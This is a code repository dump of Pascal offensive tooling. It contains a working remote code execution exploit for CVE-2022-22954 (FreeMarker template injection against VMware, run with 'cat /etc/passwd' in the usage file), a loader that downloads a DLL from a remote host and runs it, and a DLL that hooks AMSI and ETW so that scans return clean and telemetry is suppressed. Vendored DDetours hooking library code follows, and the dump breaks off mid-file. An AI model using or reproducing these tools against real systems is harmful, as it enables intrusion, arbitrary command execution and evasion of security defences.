Repository: 0xsp-SRD/OffensivePascal Branch: main Commit: a663d913035b Files: 37 Total size: 242.0 KB Directory structure: gitextract_5mnzhpfu/ ├── COFF_Loader/ │ ├── README.md │ ├── project1.lpi │ ├── project1.lpr │ └── whoami.o ├── CVE-2022-22954/ │ ├── exploit.lpi │ ├── exploit.lpr │ ├── release/ │ │ ├── exploit │ │ └── file.txt │ └── usage.md ├── Detour Hooking/ │ ├── AmsiHook.lpi │ ├── AmsiHook.lpr │ ├── Source/ │ │ ├── CPUID.pas │ │ ├── DDetours.pas │ │ ├── DDetoursDefs.inc │ │ ├── InstDecode.pas │ │ ├── LegacyTypes.pas │ │ ├── ModRmFlagsTables.inc │ │ ├── OpCodesTables.inc │ │ └── TlHelp32.inc │ └── readme.md ├── MiniDump/ │ ├── mini_dump_un.pas │ ├── minidump.lpi │ └── minidump.lpr ├── README.md ├── Simple Shellcode injection/ │ ├── info.md │ ├── injector.lpi │ └── injector.lpr ├── SpringCore-Scanner/ │ ├── compiled/ │ │ └── Linux/ │ │ ├── readme.md │ │ └── springcore_sanner │ ├── readme.md │ ├── springcore_sanner.lpi │ └── springcore_sanner.lpr ├── WMI Lateral movement/ │ ├── lat.lpi │ ├── lat.lpr │ └── readme.md └── XOR Shellcode injection/ ├── injector.lpi └── injector.lpr ================================================ FILE CONTENTS ================================================ ================================================ FILE: COFF_Loader/README.md ================================================ ## Offsec Pascal The first ported COFF loader into Pascal Language, it is easier now with the DLL release from sliverarmy fork to integrate Object files with out rewrite the whole COFF Loader. ## what i have did new? * the version ported from the following nim project () * make sure to host the COFFLoader.x64.dll into your remote host * the loader can fetch the remote dll and then load it. ## usage * host your compiled DLL into your remote host, i have attached DLL copied from Lazy-nim github repo, you can get yours from the following repo https://github.com/sliverarmory/COFFLoader/ * execute the loader ``` project.exe -o whoami.o -u http://REMOTE/DLLNAME ``` ## Thanks * https://github.com/sliverarmory/COFFLoader/ * https://github.com/zimnyaa/nim-lazy-bof/tree/main * https://github.com/trustedsec/COFFLoader ================================================ FILE: COFF_Loader/project1.lpi ================================================ <UseAppBundle Value="False"/> <ResourceType Value="res"/> </General> <BuildModes> <Item Name="Default" Default="True"/> </BuildModes> <PublishOptions> <Version Value="2"/> <UseFileFilters Value="True"/> </PublishOptions> <RunParams> <FormatVersion Value="2"/> </RunParams> <Units> <Unit> <Filename Value="project1.lpr"/> <IsPartOfProject Value="True"/> </Unit> </Units> </ProjectOptions> <CompilerOptions> <Version Value="11"/> <PathDelim Value="\"/> <Target> <Filename Value="project1"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> </SearchPaths> <CodeGeneration> <TargetCPU Value="x86_64"/> </CodeGeneration> </CompilerOptions> <Debugging> <Exceptions> <Item> <Name Value="EAbort"/> </Item> <Item> <Name Value="ECodetoolError"/> </Item> <Item> <Name Value="EFOpenError"/> </Item> </Exceptions> </Debugging> </CONFIG> ================================================ FILE: COFF_Loader/project1.lpr ================================================ { ^^^^^^^ SIMPLE COFF LOADER IN PASCAL ^^^^^^^ Author : Lawrence @zux0x3a - Part of Offensive Pascal Lang https://0xsp.com Ported from : https://github.com/zimnyaa/nim-lazy-bof/tree/main Huge thanks to : https://github.com/sliverarmory/COFFLoader/ for the DLL release. } program project1; //{$mode objfpc}{$H+} {$mode Delphi} uses dynlibs, sysutils, classes, windows, winInet, ctypes; type WCHAR = WideChar; LPVOID = Pointer; cstring = PChar; const MAX_PATH = 260; MEM_COMMIT = $1000; PAGE_READWRITE = $04; var entrypoint_arg: array[0..10] of byte = ($FF, $FF, $FF, $FF, $03, $00, $00, $00, $67, $6F, $00); // len(c"go"), c"go" coff_arg: array[0..3] of byte = ($00, $00, $00, $00); Coff_file : Tfilestream; type TCallback = function(data: PChar; status: Integer): Integer; cdecl; //function loadcoff(data: Pointer; length: Integer; callback: TCallback): Integer; cdecl; external coffloader name 'LoadAndRun'; type TLoadCoffFunc = function(data: Pointer; length: Integer; callback: TCallback): Integer; stdcall; var loadcoff : TloadCoffFunc; // convert the widestring to string . function lpwstrc(bytes: array of WCHAR): string; var i: integer; begin SetLength(Result, Length(bytes)); for i := 0 to Length(bytes) - 1 do Result[i+1] := Char(bytes[i]); end; function callback(data: cstring; status: integer): integer; cdecl; begin WriteLn('[!] CALLBACK CALLED'); WriteLn(data); Result := 0; end; function GetWebPage(const Url: string): string; var NetHandle: HINTERNET; UrlHandle: HINTERNET; Buffer: array[0..1023] of Byte; BytesRead: dWord; StrBuffer: String; begin Result := ''; BytesRead := Default(dWord); NetHandle := InternetOpen('Mozilla/5.0(compatible; WinInet)', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); // NetHandle valid? if Assigned(NetHandle) then Try UrlHandle := InternetOpenUrl(NetHandle, Pchar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0); // UrlHandle valid? if Assigned(UrlHandle) then Try repeat InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead); SetString(StrBuffer, PAnsiChar(@Buffer[0]), BytesRead); Result := Result +strBuffer; until BytesRead = 0; Finally InternetCloseHandle(UrlHandle); end // o/w UrlHandle invalid else writeln('Cannot open URL: ' + Url); Finally InternetCloseHandle(NetHandle); end // NetHandle invalid else raise Exception.Create('Unable to initialize WinInet'); end; // main procedure to load COFF files you can refer to the following repo : procedure Main; var loader_args: LPVOID; coffsize: integer; i : integer; file_name : string; l_Handle,MD: Tlibhandle; lName,R_URL : string; AMemStr : TMemoryStream; isokay : boolean; begin isokay := false; for i := 0 to paramcount do begin if (paramstr(i)='-o') then begin file_name := paramstr(i+1); end; if (paramStr(i) ='-u') then begin R_URL := paramstr(i+1); end; end; if not FileExists(getcurrentdir+'\APP.dll') then begin lName := Getwebpage(R_URL); isokay := true; end; AMemStr := TStringStream.Create; AmemStr.Write(lName[1],length(lName) * sizeof(lName[1])); if isokay then begin AMemStr.SaveToFile(getcurrentdir+'\APP.dll'); end; sleep(1000); l_handle := LoadLibrary('APP.dll'); loadcoff := TloadCoffFunc(GetProcAddress(l_handle,'LoadAndRun')); try coff_file := TFileStream.Create(file_name, fmOpenRead or fmShareDenyWrite); try WriteLn('[+] Starting with ', GetLastError()); WriteLn('[+] Load coff address -> ', PtrUInt(@loadcoff)); WriteLn('[+] callback function address -> ', PtrUInt(@callback)); loader_args := VirtualAlloc(nil, 4 + coff_file.Size + Length(entrypoint_arg) + Length(coff_arg), MEM_COMMIT, PAGE_READWRITE); WriteLn('[!] VirtualAlloc Address ', GetLastError(), ' to ', PtrUInt(loader_args)); // "go" entrypoint Move(entrypoint_arg[0], loader_args^, Length(entrypoint_arg)); // file size coffsize := coff_file.Size; Move(coffsize, (loader_args + Length(entrypoint_arg))^, 4); // file bytes coff_file.Position := 0; coff_file.ReadBuffer((loader_args + Length(entrypoint_arg) + 4)^, coff_file.Size); // args Move(coff_arg[0], (loader_args + Length(entrypoint_arg) + coff_file.Size + 4)^, Length(coff_arg)); WriteLn('[!] memory copied'); WriteLn('[!] args will be: (', PtrUInt(loader_args), ',', PtrUInt(coff_file.Size+Length(entrypoint_arg)+Length(coff_arg)+4), ',', PtrUInt(@callback), ')'); // Loading the COFF object file loadcoff(loader_args, coff_file.Size+Length(entrypoint_arg)+Length(coff_arg)+4, @callback); finally coff_file.Free; end; except on E: exception do writeln('[!] choose a vaild file to proceed'); end; end; begin // Program execution Main; end. ================================================ FILE: CVE-2022-22954/exploit.lpi ================================================ <?xml version="1.0" encoding="UTF-8"?> <CONFIG> <ProjectOptions> <Version Value="11"/> <General> <Flags> <MainUnitHasCreateFormStatements Value="False"/> <MainUnitHasScaledStatement Value="False"/> </Flags> <SessionStorage Value="InProjectDir"/> <MainUnit Value="0"/> <Title Value="CVE-2022-22954"/> <UseAppBundle Value="False"/> <ResourceType Value="res"/> </General> <LazDoc Paths="libpascurl/source"/> <BuildModes Count="3"> <Item1 Name="Default" Default="True"/> <Item2 Name="Debug"> <CompilerOptions> <Version Value="11"/> <Target> <Filename Value="exploit"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> </SearchPaths> <Parsing> <SyntaxOptions> <IncludeAssertionCode Value="True"/> </SyntaxOptions> </Parsing> <CodeGeneration> <Checks> <IOChecks Value="True"/> <RangeChecks Value="True"/> <OverflowChecks Value="True"/> <StackChecks Value="True"/> </Checks> <VerifyObjMethodCallValidity Value="True"/> </CodeGeneration> <Linking> <Debugging> <DebugInfoType Value="dsDwarf2Set"/> <UseHeaptrc Value="True"/> <TrashVariables Value="True"/> <UseExternalDbgSyms Value="True"/> </Debugging> </Linking> </CompilerOptions> </Item2> <Item3 Name="Release"> <CompilerOptions> <Version Value="11"/> <Target> <Filename Value="exploit"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> </SearchPaths> <CodeGeneration> <SmartLinkUnit Value="True"/> <Optimizations> <OptimizationLevel Value="3"/> </Optimizations> </CodeGeneration> <Linking> <Debugging> <GenerateDebugInfo Value="False"/> </Debugging> <LinkSmart Value="True"/> </Linking> </CompilerOptions> </Item3> </BuildModes> <PublishOptions> <Version Value="2"/> <UseFileFilters Value="True"/> </PublishOptions> <RunParams> <FormatVersion Value="2"/> <Modes Count="0"/> </RunParams> <Units Count="1"> <Unit0> <Filename Value="exploit.lpr"/> <IsPartOfProject Value="True"/> </Unit0> </Units> </ProjectOptions> <CompilerOptions> <Version Value="11"/> <Target> <Filename Value="exploit"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <UnitOutputDirectory Value="lib/$(TargetCPU)-$(TargetOS)"/> </SearchPaths> </CompilerOptions> <Debugging> <Exceptions Count="3"> <Item1> <Name Value="EAbort"/> </Item1> <Item2> <Name Value="ECodetoolError"/> </Item2> <Item3> <Name Value="EFOpenError"/> </Item3> </Exceptions> </Debugging> </CONFIG> ================================================ FILE: CVE-2022-22954/exploit.lpr ================================================ { the original PoC has been shared by the following https://github.com/sherlocksecurity/VMware-CVE-2022-22954 https://twitter.com/HackerGautam/status/1513605802493644800 } program exploit; {$mode objfpc}{$H+} uses {$IFDEF UNIX}{$IFDEF UseCThreads} cthreads, {$ENDIF}{$ENDIF} Classes, SysUtils,openssl, opensslsockets,CustApp, libcurl { you can add units after this }; type { TCVE } TCVE = class(TCustomApplication) protected procedure DoRun; override; public constructor Create(TheOwner: TComponent); override; destructor Destroy; override; procedure stager; virtual; procedure WriteHelp; virtual; end; { TCVE } procedure TCVE.DoRun; var ErrorMsg: String; begin // quick check parameters ErrorMsg:=CheckOptions('h i c ', 'help'); if ErrorMsg<>'' then begin ShowException(Exception.Create(ErrorMsg)); Terminate; Exit; end; // parse parameters if HasOption('h', 'help') then begin WriteHelp; Terminate; Exit; end; { add your program here } stager; // stop program loop Terminate; end; constructor TCVE.Create(TheOwner: TComponent); begin inherited Create(TheOwner); StopOnException:=True; end; destructor TCVE.Destroy; begin inherited Destroy; end; function EncodeUrl(url: string): string; var x: integer; sBuff: string; const SafeMask = ['A'..'Z', '0'..'9', 'a'..'z', '*', '@', '.', '_', '-']; begin //Init sBuff := ''; for x := 1 to Length(url) do begin //Check if we have a safe char if url[x] in SafeMask then begin //Append all other chars sBuff := sBuff + url[x]; end else if url[x] = ' ' then begin //Append space sBuff := sBuff + '+'; end else begin //Convert to hex sBuff := sBuff + '%' + IntToHex(Ord(url[x]), 2); end; end; Result := sBuff; end; function WriteData(Ptr: PChar; MemberSize, MemberCount: UIntPtr; var Data: string): UIntPtr; cdecl; var S: string; begin SetString(S, Ptr, MemberSize * MemberCount); Data := Data + S; Result := MemberSize * MemberCount; end; function CurlGet(const Url: string; out Data: string; UserAgent: string = ''): Boolean; var Curl: PCURL; begin Data := ''; Result := False; if Url = '' then Exit; Curl := curl_easy_init(); if Curl = nil then Exit; try curl_easy_setopt(curl, CURLOPT_URL, [PChar(Url)]); if UserAgent <> '' then curl_easy_setopt(curl, CURLOPT_USERAGENT, [PChar(UserAgent)]); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, [@WriteData]); curl_easy_setopt(curl, CURLOPT_WRITEDATA, [@Data]); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, [0]); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, [0]); Result := curl_easy_perform(curl) = CURLE_OK; finally curl_easy_cleanup(Curl); end; end; procedure banner; var s : string; begin s:= '[!] Coded by @zux0x3a '#10+'[+] 0xsp SRD '+#10+'[!] https://0xsp.com '+#10; writeln(s); end; procedure TCVE.stager; var host,command,msg: string; payload,end_point,ending,final: string; begin banner; host := getoptionvalue('i'); command := getoptionvalue('c'); if length(host) > 0 then begin end_point := '/catalog-portal/ui/oauth/verify?error=&deviceUdid='; ending := '%22)%7D'; payload := '$%7B%22freemarker.template.utility.Execute%22?new()(%22'; final := encodeurl(command); CurlGet(host+end_point+payload+final+ending,msg,'Mozilla/5.0 (compatible; fpweb)') end else writeln('[+] choose valid host e.g https://host'); // write the content of payload writeln(msg); end; procedure TCVE.WriteHelp; begin { add your help code here } writeln('Usage: ', ExeName, ' -h'); end; var Application: TCVE; begin Application:=TCVE.Create(nil); Application.Title:='CVE-2022-22954'; Application.Run; Application.Free; end. ================================================ FILE: CVE-2022-22954/release/file.txt ================================================ ================================================ FILE: CVE-2022-22954/usage.md ================================================ ## usage chmod +x exploit ./exploit -i https://localhost -c "cat /etc/passwd" ================================================ FILE: Detour Hooking/AmsiHook.lpi ================================================ <?xml version="1.0" encoding="UTF-8"?> <CONFIG> <ProjectOptions> <Version Value="12"/> <PathDelim Value="\"/> <General> <Flags> <MainUnitHasCreateFormStatements Value="False"/> <MainUnitHasTitleStatement Value="False"/> <MainUnitHasScaledStatement Value="False"/> </Flags> <SessionStorage Value="InProjectDir"/> <Title Value="AmsiHook"/> <UseAppBundle Value="False"/> <ResourceType Value="res"/> </General> <BuildModes> <Item Name="Default" Default="True"/> <Item Name="Debug"> <CompilerOptions> <Version Value="11"/> <PathDelim Value="\"/> <Target> <Filename Value="AmsiHook"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <OtherUnitFiles Value="Source"/> <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> </SearchPaths> <Parsing> <SyntaxOptions> <IncludeAssertionCode Value="True"/> </SyntaxOptions> </Parsing> <CodeGeneration> <RelocatableUnit Value="True"/> <Checks> <IOChecks Value="True"/> <RangeChecks Value="True"/> <OverflowChecks Value="True"/> <StackChecks Value="True"/> </Checks> <VerifyObjMethodCallValidity Value="True"/> </CodeGeneration> <Linking> <Debugging> <DebugInfoType Value="dsDwarf3"/> <UseHeaptrc Value="True"/> <TrashVariables Value="True"/> <UseExternalDbgSyms Value="True"/> </Debugging> <Options> <ExecutableType Value="Library"/> </Options> </Linking> </CompilerOptions> </Item> <Item Name="Release"> <CompilerOptions> <Version Value="11"/> <PathDelim Value="\"/> <Target> <Filename Value="AmsiHook"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <OtherUnitFiles Value="Source"/> <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> </SearchPaths> <CodeGeneration> <SmartLinkUnit Value="True"/> <RelocatableUnit Value="True"/> <Optimizations> <OptimizationLevel Value="3"/> </Optimizations> <SmallerCode Value="True"/> </CodeGeneration> <Linking> <Debugging> <GenerateDebugInfo Value="False"/> </Debugging> <LinkSmart Value="True"/> <Options> <ExecutableType Value="Library"/> </Options> </Linking> </CompilerOptions> </Item> </BuildModes> <PublishOptions> <Version Value="2"/> <UseFileFilters Value="True"/> </PublishOptions> <RunParams> <FormatVersion Value="2"/> </RunParams> <Units> <Unit> <Filename Value="AmsiHook.lpr"/> <IsPartOfProject Value="True"/> </Unit> <Unit> <Filename Value="Source\DDetours.pas"/> <IsPartOfProject Value="True"/> </Unit> </Units> </ProjectOptions> <CompilerOptions> <Version Value="11"/> <PathDelim Value="\"/> <Target> <Filename Value="AmsiHook"/> </Target> <SearchPaths> <IncludeFiles Value="$(ProjOutDir)"/> <OtherUnitFiles Value="Source"/> <UnitOutputDirectory Value="lib\$(TargetCPU)-$(TargetOS)"/> </SearchPaths> <CodeGeneration> <RelocatableUnit Value="True"/> </CodeGeneration> <Linking> <Options> <ExecutableType Value="Library"/> </Options> </Linking> </CompilerOptions> <Debugging> <Exceptions> <Item> <Name Value="EAbort"/> </Item> <Item> <Name Value="ECodetoolError"/> </Item> <Item> <Name Value="EFOpenError"/> </Item> </Exceptions> </Debugging> </CONFIG> ================================================ FILE: Detour Hooking/AmsiHook.lpr ================================================ { ** Title : Bypass AMSI / ETW patching using Detour Hooking ** Author : @zux0x3a / 0xsp.com The following tool considered as part of offensive pascal project and published to highlight the capabilities of Free Pascal Language for malware and offensive security tooling development. NOTICE: This Tool is intended for educational and research purposes.Misuse of this tool for malicious intent or illegal activities is strongly discouraged and disclaimed.Users are expected to comply with all applicable laws and regulations. } library AmsiHook; {$mode delphi} uses Classes,windows,DDetours; type EVENT_DESCRIPTOR = record Id : USHORT; Version: UCHAR; Channel : UCHAR; Level : UCHAR; Opcode : UCHAR; Task : USHORT; Keyword : ULONGLONG; end; type EVENT_TRACE_HEADER = record Size : USHORT; HeaderType : UCHAR; Flags : UCHAR; EventProperty: UCHAR; ThreadId : ULONG; ProcessId : ULONG; TimeStamp : LARGE_INTEGER; KernelTime : ULONG; UserTime : ULONG; ProvderId : GUID; EventDescriptor : EVENT_DESCRIPTOR; end; PCEVENT_TRACE_HEADER = ^EVENT_TRACE_HEADER; PCEVENT_DESCRIPTOR = ^EVENT_DESCRIPTOR; type HAMSICONTEXT = Pointer; HAMSISESSION = Pointer; AMSI_RESULT = Longword; type TOriginalAmsiScanBuffer = function( amsiContext: HAMSICONTEXT; buffer: PVOID; length: ULONG; contentName: LPCWSTR; amsiSession: HAMSISESSION; var result: AMSI_RESULT ): HRESULT; stdcall; type TEventWrite = function(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG):ULONG; stdcall; type TEventWriteTransfer = function(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG; EventGuid: PCEVENT_DESCRIPTOR; TransferContext:Pointer):ULONG; stdcall; var OriginalAmsiScanBuffer: TOriginalAmsiScanBuffer; OriginalEventWrite : TEventWrite = nil; OriginalEventTransfer : TEventWriteTransfer = nil; function InterceptEventWrite(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG):ULONG; stdcall; begin Writeln('[+] ETW Hooked !'); // enable it for debugging only Result := $80000000; end; function InterceptEventTransfer(RegistrationHandle : Thandle; EventTrace: PCEVENT_TRACE_HEADER; EventInformation:ULONG; EventGuid: PCEVENT_DESCRIPTOR; TransferContext:Pointer):ULONG; stdcall; begin Result := $80000000; end; function _AmsiScanBuffer( amsiContext: HAMSICONTEXT; buffer: PVOID; length: ULONG; contentName: LPCWSTR; amsiSession: HAMSISESSION; var Scanresult: AMSI_RESULT ): HRESULT; stdcall; begin Writeln('[+] AmsiScanBuffer Hooked !'); // enable it for debugging purposes only Scanresult := $00000000 // we are clean :) end; procedure AmsiScanBuffer; begin @OriginalAmsiScanBuffer := GetProcAddress(GetModuleHandle('amsi.dll'), 'AmsiScanBuffer'); if @OriginalAmsiScanBuffer <> nil then InterceptCreate(@OriginalAmsiScanBuffer, @_AmsiScanBuffer,nil, []); end; procedure ETWHook; begin @OriginalEventWrite := GetProcAddress(GetModuleHandle('advapi32.dll'), 'EventWrite'); @OriginalEventTransfer := GetProcAddress(GetModuleHandle('advapi32.dll'), 'EventWriteTransfer'); InterceptCreate(@OriginalEventWrite,@interceptEventwrite,nil, []); InterceptCreate(@OriginalEventTransfer,@interceptEventTransfer,nil,[]) end; //exports // AmsiScanBuffer; // no need begin AmsiScanBuffer; ETWHook; end. ================================================ FILE: Detour Hooking/Source/CPUID.pas ================================================ // ************************************************************************************************** // CPUID for Delphi. // Unit CPUID // https://github.com/MahdiSafsafi/DDetours // // This Source Code Form is subject to the terms of the Mozilla // Public License, v. 2.0. If a copy of the MPL was not distributed // with this file, You can obtain one at // https://mozilla.org/MPL/2.0/. // ************************************************************************************************** unit CPUID; {$IFDEF FPC} {$MODE DELPHI} {$WARN 4055 OFF} {$WARN 4082 OFF} {$WARN 5057 OFF} {$ENDIF FPC} interface {$I DDetoursDefs.inc} uses SysUtils {$IFNDEF FPC}, LegacyTypes{$ENDIF FPC} ; type { Do not change registers order ! } TCPUIDStruct = packed record rEAX: Cardinal; { EAX Register } rEBX: Cardinal; { EBX Register } rEDX: Cardinal; { EDX Register } rECX: Cardinal; { ECX Register } end; PCPUIDStruct = ^TCPUIDStruct; procedure CallCPUID(ID: NativeUInt; var CPUIDStruct: TCPUIDStruct); function IsCPUIDSupported(): Boolean; type TCPUVendor = (vUnknown, vIntel, vAMD, vNextGen); TCPUEncoding = set of (REX, VEX, EVEX); TCPUInstructions = set of (iMultiNop); var CPUVendor: TCPUVendor; CPUEncoding: TCPUEncoding; CPUInsts: TCPUInstructions; implementation var CPUIDSupported: Boolean = False; function ___IsCPUIDSupported: Boolean; asm {$IFDEF CPUX64} PUSH RCX MOV RCX,RCX PUSHFQ POP RAX MOV RCX, RAX XOR RAX, $200000 PUSH RAX POPFQ PUSHFQ POP RAX XOR RAX, RCX SHR RAX, 21 AND RAX, 1 PUSH RCX POPFQ POP RCX {$ELSE !CPUX64} PUSH ECX PUSHFD POP EAX { EAX = EFLAGS } MOV ECX, EAX { Save the original EFLAGS value . } { CPUID is supported only if we can modify bit 21 of EFLAGS register ! } XOR EAX, $200000 PUSH EAX POPFD { Set the new EFLAGS value } PUSHFD POP EAX { Read EFLAGS } { Check if the 21 bit was modified ! If so ==> Return True . else ==> Return False. } XOR EAX, ECX SHR EAX, 21 AND EAX, 1 PUSH ECX POPFD { Restore original EFLAGS value . } POP ECX {$ENDIF CPUX64} end; procedure ___CallCPUID(const ID: NativeInt; var CPUIDStruct); asm { ALL REGISTERS (rDX,rCX,rBX) MUST BE SAVED BEFORE EXECUTING CPUID INSTRUCTION ! } {$IFDEF CPUX64} PUSH R9 PUSH RBX PUSH RDX MOV RAX,RCX MOV R9,RDX CPUID {$IFNDEF FPC} MOV R9.TCPUIDStruct.rEAX,EAX MOV R9.TCPUIDStruct.rEBX,EBX MOV R9.TCPUIDStruct.rECX,ECX MOV R9.TCPUIDStruct.rEDX,EDX {$ELSE FPC} MOV [R9].TCPUIDStruct.rEAX,EAX MOV [R9].TCPUIDStruct.rEBX,EBX MOV [R9].TCPUIDStruct.rECX,ECX MOV [R9].TCPUIDStruct.rEDX,EDX {$ENDIF !FPC} POP RDX POP RBX POP R9 {$ELSE !CPUX64} PUSH EDI PUSH ECX PUSH EBX MOV EDI,EDX CPUID {$IFNDEF FPC} MOV EDI.TCPUIDStruct.rEAX,EAX MOV EDI.TCPUIDStruct.rEBX,EBX MOV EDI.TCPUIDStruct.rECX,ECX MOV EDI.TCPUIDStruct.rEDX,EDX {$ELSE FPC} MOV [EDI].TCPUIDStruct.rEAX,EAX MOV [EDI].TCPUIDStruct.rEBX,EBX MOV [EDI].TCPUIDStruct.rECX,ECX MOV [EDI].TCPUIDStruct.rEDX,EDX {$ENDIF !FPC} POP EBX POP ECX POP EDI {$ENDIF CPUX64} end; function ___IsAVXSupported: Boolean; asm { Checking for AVX support requires 3 steps: 1) Detect CPUID.1:ECX.OSXSAVE[bit 27] = 1 => XGETBV enabled for application use 2) Detect CPUID.1:ECX.AVX[bit 28] = 1 => AVX instructions supported. 3) Issue XGETBV and verify that XCR0[2:1] = ‘11b’ => XMM state and YMM state are enabled by OS. } { Steps : 1 and 2 } {$IFDEF CPUX64} MOV RAX, 1 PUSH RCX PUSH RBX PUSH RDX {$ELSE !CPUX64} MOV EAX, 1 PUSH ECX PUSH EBX PUSH EDX {$ENDIF CPUX64} CPUID AND ECX, $018000000 CMP ECX, $018000000 JNE @@NOT_SUPPORTED XOR ECX,ECX { Delphi does not support XGETBV ! => We need to use the XGETBV opcodes ! } DB $0F DB $01 DB $D0 // XGETBV { Step :3 } AND EAX, $06 CMP EAX, $06 JNE @@NOT_SUPPORTED MOV EAX, 1 JMP @@END @@NOT_SUPPORTED: XOR EAX,EAX @@END: {$IFDEF CPUX64} POP RDX POP RBX POP RCX {$ELSE !CPUX64} POP EDX POP EBX POP ECX {$ENDIF CPUX64} end; procedure CallCPUID(ID: NativeUInt; var CPUIDStruct: TCPUIDStruct); begin FillChar(CPUIDStruct, SizeOf(TCPUIDStruct), #0); if not CPUIDSupported then raise Exception.Create('CPUID instruction not supported.') else ___CallCPUID(ID, CPUIDStruct); end; function IsCPUIDSupported: Boolean; begin Result := CPUIDSupported; end; type TVendorName = array [0 .. 12] of AnsiChar; function GetVendorName(): TVendorName; var Info: PCPUIDStruct; P: PByte; begin Result := ''; if not IsCPUIDSupported then Exit; Info := GetMemory(SizeOf(TCPUIDStruct)); CallCPUID(0, Info^); P := PByte(NativeInt(Info) + 4); // Skip EAX ! Move(P^, PByte(@Result[0])^, 12); FreeMemory(Info); end; procedure __Init__; var vn: TVendorName; Info: TCPUIDStruct; r: Cardinal; begin CPUVendor := vUnknown; {$IFDEF CPUX64} CPUEncoding := [REX]; {$ELSE !CPUX64} CPUEncoding := []; {$ENDIF CPUX64} CPUInsts := []; if IsCPUIDSupported then begin vn := GetVendorName(); if vn = 'GenuineIntel' then CPUVendor := vIntel else if vn = 'AuthenticAMD' then CPUVendor := vAMD else if vn = 'NexGenDriven' then CPUVendor := vNextGen; CallCPUID(1, Info); r := Info.rEAX and $F00; case r of $F00, $600: Include(CPUInsts, iMultiNop); end; if ___IsAVXSupported then Include(CPUEncoding, VEX); end; end; initialization CPUIDSupported := ___IsCPUIDSupported; __Init__; end. ================================================ FILE: Detour Hooking/Source/DDetours.pas ================================================ // ************************************************************************************************** // Delphi Detours Library. // Unit DDetours // https://github.com/MahdiSafsafi/DDetours // // This Source Code Form is subject to the terms of the Mozilla // Public License, v. 2.0. If a copy of the MPL was not distributed // with this file, You can obtain one at // https://mozilla.org/MPL/2.0/. // ************************************************************************************************** // // Contributors: // - David Millington : Added TDetours<T> class. // ************************************************************************************************** unit DDetours; {define FIX_MADEXCEPT if you are using crash on buffer overrun/underrun feature from MadExcept } {.$DEFINE FIX_MADEXCEPT} {.$define DEVMODE} {$IFDEF FPC} {$MODE DELPHI} {$HINTS OFF} {$WARN 4045 OFF} {$WARN 4055 OFF} {$WARN 4056 OFF} {$WARN 4082 OFF} {$WARN 5024 OFF} {$WARN 5028 OFF} {$WARN 5057 OFF} {$WARN 5058 OFF} {$ENDIF FPC} interface {$I DDetoursDefs.inc} uses {$IFDEF RENAMED_NAMESPACE} System.SysUtils, System.Classes, WinApi.Windows, WinApi.TLHelp32, {$IFNDEF SUPPORTS_MONITOR} System.SyncObjs, {$ENDIF SUPPORTS_MONITOR} {$ELSE !RENAMED_NAMESPACE} SysUtils, Windows, Classes, {$IFNDEF SUPPORTS_MONITOR} SyncObjs, {$ENDIF SUPPORTS_MONITOR} {$IFNDEF FPC} TLHelp32, {$ENDIF FPC} {$ENDIF RENAMED_NAMESPACE} {$IFDEF SUPPORTS_RTTI} System.Generics.Collections, System.Typinfo, System.RTTI, {$ENDIF SUPPORTS_RTTI} LegacyTypes, CPUID, InstDecode; type InterceptException = Exception; TTransactionOption = (toSuspendThread); TTransactionOptions = set of TTransactionOption; TInterceptOption = (ioForceLoad, ioRecursive); TInterceptOptions = set of TInterceptOption; const { Maximum allowed number of hooks. } MAX_HOOKS = 7; DefaultInterceptOptions = []; SErrorInvalidTType = '<T> must be a method'; { ========================================= DDetours Interface ========================================= } function InterceptCreate(const TargetProc, InterceptProc: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions) : Pointer; overload; function InterceptCreate(const TargetInterface; MethodIndex: Integer; const InterceptProc: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload; function InterceptCreate(const Module, MethodName: String; const InterceptProc: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload; procedure InterceptCreate(const TargetProc, InterceptProc: Pointer; var TrampoLine: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions); overload; {$IFDEF SUPPORTS_RTTI} function InterceptCreate(const TargetInterface; const MethodName: String; const InterceptProc: Pointer; const Param: Pointer = nil; const Options: TInterceptOptions = DefaultInterceptOptions): Pointer; overload; {$ENDIF SUPPORTS_RTTI} function InterceptRemove(const TrampoLine: Pointer): Integer; overload; function GetHookCount(const TargetProc: Pointer): Integer; overload; function GetHookCount(const TargetInterface; MethodIndex: Integer): Integer; overload; {$IFDEF SUPPORTS_RTTI} function GetHookCount(const TargetInterface; const MethodName: String): Integer; overload; {$ENDIF SUPPORTS_RTTI} function IsHooked(const TargetProc: Pointer): Boolean; overload; function IsHooked(const TargetInterface; MethodIndex: Integer): Boolean; overload; {$IFDEF SUPPORTS_RTTI} function IsHooked(const TargetInterface; const MethodName: String): Boolean; overload; {$ENDIF SUPPORTS_RTTI} function PatchVt(const TargetInterface; MethodIndex: Integer; InterceptProc: Pointer): Pointer; function UnPatchVt(const TrampoLine: Pointer): Boolean; function BeginTransaction(Options: TTransactionOptions = [toSuspendThread]): THandle; function EndTransaction(Handle: THandle): Boolean; function EnterRecursiveSection(var TrampoLine; MaxRecursionLevel: NativeInt = 0): Boolean; function 